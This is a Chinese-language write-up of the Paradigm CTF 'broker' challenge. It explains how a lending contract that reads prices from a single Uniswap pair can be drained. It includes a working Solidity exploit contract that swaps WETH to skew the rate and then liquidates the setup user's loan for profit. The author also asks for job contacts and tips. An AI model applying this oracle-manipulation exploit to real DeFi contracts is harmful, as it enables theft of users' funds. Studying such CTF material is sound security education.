本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。
本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。
本文都是基于https://binarycake.ca/posts/paradigm-ctf-broker/这篇文章进行的分析,如有需要可以参考原文。
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 🐟 。如果你觉得我写的还不错,可以加我的微信:woodward1993
function isSolved() public view returns (bool) {
return weth.balanceOf(address(broker)) < 5 ether;
}
从上可以看到,本题目解决的条件是最后broker的WETH的余额小于5ether。
作为一个broker合约,我们分析下它资金的流入,流出渠道:
函数名 | 流入\流出 | 要求 | 状态改变 |
---|---|---|---|
rage() |
NA | $\mathtt{r}=\mathtt{R}_0/\mathtt{R}_1$ | |
safeDebt(address) |
NA | $\mathtt{deposite}\mathtt{r}2/3$ | |
borrow(uint256) |
TOKEN流出 | $\mathtt{safeDebt}>\mathtt{debt}$ | debt[msg.sender] += amount |
repay(uint256) |
TOKEN流入 | debt[msg.sender] -= amount |
|
liquidate(address,uint256) |
TOKEN流入,WETH流出 | $\mathtt{safeDebt}<=\mathtt{debt}$ | debt[user] -= amount; |
deposit(uint256) |
WETH流入 | deposited[msg.sender] += amount; |
|
withdraw(uint256) |
WETH流出 | $\mathtt{safeDebt}>\mathtt{debt}$ | deposited[msg.sender] -= amount |
我们的目标是让WETH流出,可以看到有liquidate和withdarw
两个渠道,liquidate看起来更容易出问题:
// repay a user's loan and get back their collateral. no discounts.
function liquidate(address user, uint256 amount) public returns (uint256) {
require(safeDebt(user) <= debt[user], "err: overcollateralized");
debt[user] -= amount;
token.transferFrom(msg.sender, address(this), amount);
uint256 collateralValueRepaid = amount / rate();
weth.transfer(msg.sender, collateralValueRepaid);
return collateralValueRepaid;
}
简单看,我们可以操纵rate()比例,让liquidate时,rate()尽可能小,从而我们得到的WETH尽可能多。让rate()小,就需要让$R_0$尽可能小或者$R_1$尽可能大。结合remix可知,$R_0$是token,$R_1$是WETH。
这道题是一个简单的预言机攻击的POC,其中Uniswap的Pair合约是预言机唯一的价格来源,其提供了实时的资产价格rate().
正常情况是User在合约broker中存入(deposit)WETH, 获得一定的存款量,即deposited. 当用户决定贷款时(borrow),会根据实时Uniswap中TOKEN/WETH价格与存款量计算用户的最大贷款额度,safeDebt。当价格发生波动时,rate改变从而用户的safeDebt改变,导致某些用户出现safeDebt<debt的风险敞口,从而可以被外部用户liquidate. 当代为偿还User的债务时,即清算者会获得按照此时刻的资产价格对应的WETH数量。
在本合约中,最大的风险点在于其价格预言机,是Unisawp中Pair的实时价格。
我们可以通过操纵短时间的Uniswap中的该Pair合约中的实时价格,从而可以清算其他用户的债务获利。
故最简单的思路是借来足够多的WETH,在uniswap的Pair中交易,换取token,降低rate,然后清算setup用户的债务,获取WETH。
borrow(amountTOken)
-> debt增加 无法增加,因为是setup借的
Router02.swapExactTokensForTokens(amountWETHIn,amountTokenout,path,to,deadline)
-> r降低 -> safedebt降低
liquidate(user,amount)
-> 满足safeDebt <= debt条件
pragma solidity 0.8.0;
import "./Setup.sol";
interface Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract Hack {
Router public router;
Setup public setup;
WETH9 public weth;
IUniswapV2Pair public pair;
Broker public broker;
Token public token;
uint256 constant DECIMALS = 1 ether;
constructor(address _setup) public payable {
setup = Setup(_setup);
weth = WETH9(setup.weth());
pair = IUniswapV2Pair(setup.pair());
broker = Broker(setup.broker());
token = Token(setup.token());
router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
}
function exploit() public payable {
uint amount_WETH = msg.value;
//将本合约的ETH换成WETH
weth.deposit{value: amount_WETH}();
weth.approve(address(broker), type(uint256).max);
weth.approve(address(router), type(uint256).max);
token.approve(address(broker), type(uint256).max);
token.approve(address(router), type(uint256).max);
//调用router接口的swap方法,换成token
address[] memory data = new address[](2);
data[0] = address(weth);
data[1] = address(token);
uint[] memory amount_TOKEN = router.swapExactTokensForTokens(amount_WETH,0,data,address(this),(block.timestamp + 2 days));
//调用broker合约的liquidate方法,收割user,要先approve一下TOKEN的使用量.
uint amount_liquidate = 21 ether * broker.rate();
broker.liquidate(address(setup), amount_liquidate);
//将TOKEN换回WETH,最后取出ETH => 这里liquidate代为偿还User的债务时,就消耗了一些TOKEN,故后续无法再通过交换拿到自己的原先的WETH 逻辑不成立了
require(setup.isSolved(), "not solve");
}
function killself() public payable{
selfdestruct(payable(tx.origin));
}
receive() external payable {}
function attack() public payable {
weth.deposit{value: msg.value}();
weth.transfer(address(pair),weth.balanceOf(address(this)));
bytes memory payload;
pair.swap(msg.value,0,address(this),payload);
uint256 rate = broker.rate();
token.approve(address(broker),type(uint256).max);
uint256 liqAmount = 21 ether * rate;
broker.liquidate(address(setup), liqAmount);
require(setup.isSolved(),"!solved");
}
}
这里使用到了Uniswap router02合约中的swapExactTokensForTokens函数
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
// log("amounts:",amounts);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!